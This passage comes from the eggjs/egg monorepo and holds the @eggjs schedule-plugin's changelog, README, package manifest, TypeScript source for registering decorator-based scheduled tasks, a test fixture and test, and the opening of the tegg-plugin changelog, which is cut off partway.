@eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.6.1](https://github.com/eggjs/tegg/compare/v3.6.0...v3.6.1) (2023-02-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.5.1](https://github.com/eggjs/tegg/compare/v3.5.0...v3.5.1) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.3.4](https://github.com/eggjs/tegg/compare/v3.3.3...v3.3.4) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.3.3](https://github.com/eggjs/tegg/compare/v3.3.2...v3.3.3) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.3.2](https://github.com/eggjs/tegg/compare/v3.3.1...v3.3.2) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.2.0](https://github.com/eggjs/tegg/compare/v3.1.0...v3.2.0) (2022-12-28)\n\n\n### Features\n\n* impl mockModuleContextScope ([#73](https://github.com/eggjs/tegg/issues/73)) ([041881c](https://github.com/eggjs/tegg/commit/041881ca317ad81366172a35ac56b7b2dc0a0488))\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* fix miss agent file ([#56](https://github.com/eggjs/tegg/issues/56)) ([cfb4dcc](https://github.com/eggjs/tegg/commit/cfb4dcc006ee1253733c7122f885a05da94f80b5))\n* fix schedule import ([1fb5481](https://github.com/eggjs/tegg/commit/1fb54816fb3240c641824c2bc2b464c35652b655))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* fix miss agent file ([#56](https://github.com/eggjs/tegg/issues/56)) ([cfb4dcc](https://github.com/eggjs/tegg/commit/cfb4dcc006ee1253733c7122f885a05da94f80b5))\n* fix schedule import ([1fb5481](https://github.com/eggjs/tegg/commit/1fb54816fb3240c641824c2bc2b464c35652b655))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n\n\n\n\n\n## [2.2.3](https://github.com/eggjs/tegg/compare/@eggjs/tegg-schedule-plugin@2.2.2...@eggjs/tegg-schedule-plugin@2.2.3) (2022-09-05)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [2.2.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg-schedule-plugin@2.2.1...@eggjs/tegg-schedule-plugin@2.2.2) (2022-09-05)\n\n\n### Bug Fixes\n\n* fix miss agent file ([#56](https://github.com/eggjs/tegg/issues/56)) ([cfb4dcc](https://github.com/eggjs/tegg/commit/cfb4dcc006ee1253733c7122f885a05da94f80b5))\n\n\n\n\n\n## [2.2.1](https://github.com/eggjs/tegg/compare/@eggjs/tegg-schedule-plugin@2.2.0...@eggjs/tegg-schedule-plugin@2.2.1) (2022-09-04)\n\n\n### Bug Fixes\n\n* fix schedule import ([1fb5481](https://github.com/eggjs/tegg/commit/1fb54816fb3240c641824c2bc2b464c35652b655))\n\n\n\n\n\n# 2.2.0 (2022-09-04)\n\n\n### Features\n\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n"
  },
  {
    "path": "tegg/plugin/schedule/README.md",
    "content": "# @eggjs/schedule-plugin\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/schedule-plugin.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/schedule-plugin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/schedule-plugin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/schedule-plugin/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/schedule-plugin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/schedule-plugin.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/schedule-plugin\n\n使用注解的方式来开发 egg 中的 schedule\n\n## Install\n\n```shell\nnpm i --save @eggjs/schedule-plugin\n```\n\n## Config\n\n```js\n// config/plugin.js\nexports.teggSchedule = {\n  package: '@eggjs/schedule-plugin',\n  enable: true,\n};\n```\n"
  },
  {
    "path": "tegg/plugin/schedule/package.json",
    "content": "{\n  \"name\": \"@eggjs/schedule-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"schedule decorator plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"module\",\n    \"plugin\",\n    \"schedule\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/schedule\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/schedule\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./lib/EggScheduleAdapter\": \"./src/lib/EggScheduleAdapter.ts\",\n    \"./lib/EggScheduleMetadataConvertor\": \"./src/lib/EggScheduleMetadataConvertor.ts\",\n    \"./lib/ScheduleManager\": \"./src/lib/ScheduleManager.ts\",\n    \"./lib/SchedulePrototypeHook\": \"./src/lib/SchedulePrototypeHook.ts\",\n    \"./lib/ScheduleSubscriberRegister\": \"./src/lib/ScheduleSubscriberRegister.ts\",\n    \"./lib/ScheduleWorkerLoadUnitHook\": \"./src/lib/ScheduleWorkerLoadUnitHook.ts\",\n    \"./lib/ScheduleWorkerRegister\": \"./src/lib/ScheduleWorkerRegister.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./lib/EggScheduleAdapter\": \"./dist/lib/EggScheduleAdapter.js\",\n      \"./lib/EggScheduleMetadataConvertor\": \"./dist/lib/EggScheduleMetadataConvertor.js\",\n      \"./lib/ScheduleManager\": \"./dist/lib/ScheduleManager.js\",\n      \"./lib/SchedulePrototypeHook\": \"./dist/lib/SchedulePrototypeHook.js\",\n      \"./lib/ScheduleSubscriberRegister\": \"./dist/lib/ScheduleSubscriberRegister.js\",\n      \"./lib/ScheduleWorkerLoadUnitHook\": \"./dist/lib/ScheduleWorkerLoadUnitHook.js\",\n      \"./lib/ScheduleWorkerRegister\": \"./dist/lib/ScheduleWorkerRegister.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/module-common\": \"workspace:*\",\n    \"@eggjs/schedule-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/module-test-util\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggSchedule\",\n    \"dependencies\": [\n      \"tegg\",\n      \"schedule\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/agent.ts",
    "content": "import { EggLoadUnitType } from '@eggjs/metadata';\nimport { ScheduleInfoUtil, ScheduleMetaBuilder } from '@eggjs/schedule-decorator';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\nimport type { Agent, ILifecycleBoot } from 'egg';\n\nimport { ScheduleSubscriberRegister } from './lib/ScheduleSubscriberRegister.ts';\n\nexport default class ScheduleAppBootHook implements ILifecycleBoot {\n  private readonly agent: Agent;\n  private readonly scheduleSubscriberRegister: ScheduleSubscriberRegister;\n\n  constructor(agent: Agent) {\n    this.agent = agent;\n    this.scheduleSubscriberRegister = new ScheduleSubscriberRegister(this.agent);\n  }\n\n  async didLoad(): Promise<void> {\n    // FIXME: tegg use lots singleton, in mm.app test case, agent/app in one process\n    // if use start tegg in agent, the app will use the same singleton\n    // so we should refactor tegg to not use singleton.\n    for (const moduleConfig of this.agent.moduleReferences) {\n      const loader = LoaderFactory.createLoader(moduleConfig.path, EggLoadUnitType.MODULE);\n      const clazzList = await loader.load();\n      for (const clazz of clazzList) {\n        if (ScheduleInfoUtil.isSchedule(clazz)) {\n          const builder = new ScheduleMetaBuilder(clazz);\n          const metadata = builder.build();\n          this.scheduleSubscriberRegister.register(clazz, metadata);\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/app.ts",
    "content": "import type { Application, ILifecycleBoot } from 'egg';\n\nimport { ScheduleManager } from './lib/ScheduleManager.ts';\nimport { SchedulePrototypeHook } from './lib/SchedulePrototypeHook.ts';\nimport { ScheduleWorkerLoadUnitHook } from './lib/ScheduleWorkerLoadUnitHook.ts';\nimport { ScheduleWorkerRegister } from './lib/ScheduleWorkerRegister.ts';\n\nexport default class ScheduleAppBootHook implements ILifecycleBoot {\n  private readonly app: Application;\n  private readonly scheduleManager: ScheduleManager;\n  private readonly scheduleWorkerRegister: ScheduleWorkerRegister;\n  private readonly scheduleWorkerLoadUnitHook: ScheduleWorkerLoadUnitHook;\n  private readonly schedulePrototypeHook: SchedulePrototypeHook;\n\n  constructor(app: Application) {\n    this.app = app;\n    this.scheduleManager = new ScheduleManager(this.app);\n    this.scheduleWorkerRegister = new ScheduleWorkerRegister(this.scheduleManager);\n    this.scheduleWorkerLoadUnitHook = new ScheduleWorkerLoadUnitHook(this.scheduleWorkerRegister);\n    this.schedulePrototypeHook = new SchedulePrototypeHook();\n  }\n\n  configWillLoad(): void {\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.scheduleWorkerLoadUnitHook);\n    this.app.eggPrototypeLifecycleUtil.registerLifecycle(this.schedulePrototypeHook);\n  }\n\n  async beforeClose(): Promise<void> {\n    // Unregister all schedules before deleting lifecycle hooks\n    this.scheduleManager.unregisterAll();\n\n    this.app.loadUnitLifecycleUtil.deleteLifecycle(this.scheduleWorkerLoadUnitHook);\n    this.app.eggPrototypeLifecycleUtil.deleteLifecycle(this.schedulePrototypeHook);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/index.ts",
    "content": "import './types.ts';\n"
  },
  {
    "path": "tegg/plugin/schedule/src/lib/EggScheduleAdapter.ts",
    "content": "import type { EggPrototype } from '@eggjs/metadata';\nimport { ROOT_PROTO } from '@eggjs/module-common';\nimport type { ScheduleMetadata, ScheduleSubscriber } from '@eggjs/schedule-decorator';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport type { Context } from 'egg';\n\nexport type EggScheduleFunction = (ctx: Context, data: any) => Promise<any>;\n\nexport function eggScheduleAdapterFactory(\n  proto: EggPrototype,\n  metaData: ScheduleMetadata<object>,\n): EggScheduleFunction {\n  return async function (ctx: Context, data: any) {\n    ctx[ROOT_PROTO] = proto;\n    await ctx.beginModuleScope(async () => {\n      if (metaData.disable) return;\n      const eggObject = await EggContainerFactory.getOrCreateEggObject(proto, proto.name);\n      const subscriber = eggObject.obj as ScheduleSubscriber;\n      await subscriber.subscribe(data);\n    });\n  };\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/lib/EggScheduleMetadataConvertor.ts",
    "content": "import { ScheduleMetadata } from '@eggjs/schedule-decorator';\nimport type { EggAppConfig } from 'egg';\n\ntype EggScheduleConfig = EggAppConfig['schedule'];\n\nexport class EggScheduleMetadataConvertor {\n  /**\n   * convert to egg schedule config\n   */\n  static convertToEggSchedule(metadata: ScheduleMetadata<object>) {\n    return {\n      ...metadata.scheduleData,\n      type: metadata.type,\n      env: metadata.env,\n      disable: metadata.disable,\n      immediate: metadata.immediate,\n    } as EggScheduleConfig;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/lib/ScheduleManager.ts",
    "content": "import { PrototypeUtil } from '@eggjs/core-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { importResolve } from '@eggjs/utils';\nimport type { Application } from 'egg';\n\n/**\n * Manager class to track registered schedules and handle cleanup\n */\nexport class ScheduleManager {\n  private readonly app: Application;\n  // Map of schedule key to EggPrototype\n  private readonly registeredSchedules: Map<string, EggPrototype> = new Map();\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  /**\n   * Register a schedule and track it\n   */\n  register(proto: EggPrototype, scheduleItem: { schedule: object; task: any; key: string }): void {\n    const { key } = scheduleItem;\n    this.registeredSchedules.set(key, proto);\n    (this.app as any).scheduleWorker.registerSchedule(scheduleItem);\n  }\n\n  /**\n   * Unregister a single schedule by prototype\n   */\n  unregister(proto: EggPrototype): void {\n    const rawKey = proto.getMetaData(PrototypeUtil.FILE_PATH) as string;\n    // Normalize key with importResolve to match the normalized key used during registration\n    const key = importResolve(rawKey);\n    if (this.registeredSchedules.has(key)) {\n      (this.app as any).scheduleWorker.unregisterSchedule(key);\n      this.registeredSchedules.delete(key);\n    }\n  }\n\n  /**\n   * Unregister all tracked schedules\n   * Called during app beforeClose\n   */\n  unregisterAll(): void {\n    for (const key of this.registeredSchedules.keys()) {\n      (this.app as any).scheduleWorker.unregisterSchedule(key);\n    }\n    this.registeredSchedules.clear();\n  }\n\n  /**\n   * Get the count of registered schedules\n   */\n  get size(): number {\n    return this.registeredSchedules.size;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/lib/SchedulePrototypeHook.ts",
    "content": "import type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/metadata';\nimport { ScheduleInfoUtil, ScheduleMetadataUtil, ScheduleMetaBuilder } from '@eggjs/schedule-decorator';\n\nexport class SchedulePrototypeHook implements LifecycleHook<EggPrototypeLifecycleContext, EggPrototype> {\n  async postCreate(ctx: EggPrototypeLifecycleContext): Promise<void> {\n    if (!ScheduleInfoUtil.isSchedule(ctx.clazz)) {\n      return;\n    }\n    const builder = new ScheduleMetaBuilder(ctx.clazz);\n    const metadata = builder.build();\n    if (metadata) {\n      ScheduleMetadataUtil.setScheduleMetadata(ctx.clazz, metadata);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/lib/ScheduleSubscriberRegister.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { PrototypeUtil, type EggProtoImplClass } from '@eggjs/core-decorator';\nimport { ScheduleMetadata } from '@eggjs/schedule-decorator';\nimport type { Agent } from 'egg';\n\nimport { EggScheduleMetadataConvertor } from './EggScheduleMetadataConvertor.ts';\n\nconst debug = debuglog('egg/tegg/plugin/schedule/ScheduleSubscriberRegister');\n\nexport class ScheduleSubscriberRegister {\n  private readonly agent: Agent;\n\n  constructor(agent: Agent) {\n    this.agent = agent;\n  }\n\n  register(clazz: EggProtoImplClass<object>, metadata: ScheduleMetadata<object>): void {\n    // bind subscriber\n    const schedule = EggScheduleMetadataConvertor.convertToEggSchedule(metadata);\n    const path = PrototypeUtil.getFilePath(clazz) as string;\n    if (!metadata.disable) {\n      this.agent.logger.info('[@eggjs/schedule-plugin]: register schedule %s', path);\n    }\n\n    // TODO: why disable is not used?\n    // @ts-expect-error: agent registerSchedule only need key and schedule config\n    this.agent.schedule.registerSchedule({\n      schedule,\n      key: path,\n    });\n    debug('register schedule %s, config: %j', path, schedule);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/lib/ScheduleWorkerLoadUnitHook.ts",
    "content": "import type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { LoadUnit, LoadUnitLifecycleContext } from '@eggjs/metadata';\nimport { IS_SCHEDULE, SCHEDULE_METADATA, type ScheduleMetadata } from '@eggjs/schedule-decorator';\n\nimport type { ScheduleWorkerRegister } from './ScheduleWorkerRegister.ts';\n\nexport class ScheduleWorkerLoadUnitHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  private readonly scheduleWorkerRegister: ScheduleWorkerRegister;\n\n  constructor(scheduleWorkerRegister: ScheduleWorkerRegister) {\n    this.scheduleWorkerRegister = scheduleWorkerRegister;\n  }\n\n  async postCreate(_: LoadUnitLifecycleContext, obj: LoadUnit): Promise<void> {\n    const iterator = obj.iterateEggPrototype();\n    for (const proto of iterator) {\n      if (!proto.getMetaData(IS_SCHEDULE)) {\n        continue;\n      }\n      const metadata: ScheduleMetadata<object> | undefined = proto.getMetaData(SCHEDULE_METADATA);\n      if (!metadata) {\n        continue;\n      }\n      this.scheduleWorkerRegister.register(proto, metadata);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/lib/ScheduleWorkerRegister.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { ScheduleMetadata } from '@eggjs/schedule-decorator';\nimport { importResolve } from '@eggjs/utils';\n\nimport { eggScheduleAdapterFactory } from './EggScheduleAdapter.ts';\nimport { EggScheduleMetadataConvertor } from './EggScheduleMetadataConvertor.ts';\nimport type { ScheduleManager } from './ScheduleManager.ts';\n\nconst debug = debuglog('egg/tegg/plugin/schedule/ScheduleWorkerRegister');\n\nexport class ScheduleWorkerRegister {\n  private readonly scheduleManager: ScheduleManager;\n\n  constructor(scheduleManager: ScheduleManager) {\n    this.scheduleManager = scheduleManager;\n  }\n\n  register(proto: EggPrototype, metadata: ScheduleMetadata<object>): void {\n    const task = eggScheduleAdapterFactory(proto, metadata);\n    const schedule = EggScheduleMetadataConvertor.convertToEggSchedule(metadata);\n    const rawKey = proto.getMetaData<string>(PrototypeUtil.FILE_PATH) as string;\n    if (!rawKey) {\n      throw new Error(`schedule prototype: ${proto.name as string} missing FILE_PATH metadata`);\n    }\n    // Normalize the key with importResolve to match how runSchedule() resolves paths.\n    // Without this, tegg-registered schedules use the raw FILE_PATH (e.g., .ts source path)\n    // while runSchedule() applies importResolve() which may resolve to a different path.\n    const key = importResolve(rawKey);\n    this.scheduleManager.register(proto, {\n      schedule,\n      task,\n      key,\n    });\n    debug('register schedule %s (raw: %s), config: %j', key, rawKey, schedule);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/src/types.ts",
    "content": "import '@eggjs/tegg-plugin/types';\n"
  },
  {
    "path": "tegg/plugin/schedule/test/fixtures/schedule-app/app/subscriber/Subscriber.ts",
    "content": "import { type IntervalParams, Schedule, ScheduleType } from '@eggjs/schedule-decorator';\nimport { Inject } from '@eggjs/tegg';\nimport { type EggLogger } from 'egg';\n\n@Schedule<IntervalParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    interval: 500,\n  },\n})\nexport class FooSubscriber {\n  @Inject()\n  private readonly logger: EggLogger;\n\n  async subscribe(): Promise<void> {\n    this.logger.info('schedule called');\n    // console.warn('FooSubscriber schedule called');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/test/fixtures/schedule-app/app/subscriber/package.json",
    "content": "{\n  \"name\": \"subscriber\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"subscriber\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/test/fixtures/schedule-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../app/subscriber\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/schedule/test/fixtures/schedule-app/config/plugin.ts",
    "content": "export default {\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggSchedule: {\n    package: '@eggjs/schedule-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/schedule/test/fixtures/schedule-app/package.json",
    "content": "{\n  \"name\": \"schedule-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/test/schedule.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { TimerUtil } from '@eggjs/tegg-common-util';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nconst FooSubscriberFilePath = path.join(\n  import.meta.dirname,\n  'fixtures',\n  'schedule-app',\n  'app',\n  'subscriber',\n  'Subscriber.ts',\n);\n\ndescribe('plugin/schedule/test/schedule.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(async () => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: path.join(import.meta.dirname, 'fixtures', 'schedule-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('schedule should work', async () => {\n    await TimerUtil.sleep(1000);\n    const scheduleLog = await getScheduleLogContent('schedule-app');\n    assert.match(scheduleLog, /schedule called/);\n  });\n\n  // FIXME: Cannot find schedule D:\\a\\egg\\egg\\tegg\\plugin\\schedule\\test\\fixtures\\schedule-app\\app\\subscriber\\Subscriber.ts\n  it.skipIf(process.platform === 'win32')('schedule work with app.runSchedule', async () => {\n    await app.runSchedule(FooSubscriberFilePath);\n  });\n});\n\nasync function getScheduleLogContent(name: string) {\n  const logPath = path.join(import.meta.dirname, 'fixtures', name, 'logs', name, `${name}-web.log`);\n  // schedule called\n  return fs.readFile(logPath, 'utf8');\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n\n### Bug Fixes\n\n* add qualifier check ([#296](https://github.com/eggjs/tegg/issues/296)) ([5ea21ff](https://github.com/eggjs/tegg/commit/5ea21ffec61e0c4a743e84d9c8e96d8d9079b4cc))\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n\n### Features\n\n* add default inject init type qualifier ([#255](https://github.com/eggjs/tegg/issues/255)) ([538ae80](https://github.com/eggjs/tegg/commit/538ae8033ff102ac0b1d141c6495058a800e46f1))\n* support optional inject ([#254](https://github.com/eggjs/tegg/issues/254)) ([260470b](https://github.com/eggjs/tegg/commit/260470b766d5fdb323c1bd72cc6260a90468a161))\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n\n### Bug Fixes\n\n* fix merge qualifier ([#250](https://github.com/eggjs/tegg/issues/250)) ([d5a8a93](https://github.com/eggjs/tegg/commit/d5a8a93abad570f69881f9fa42f39d7b5cd436be))\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package 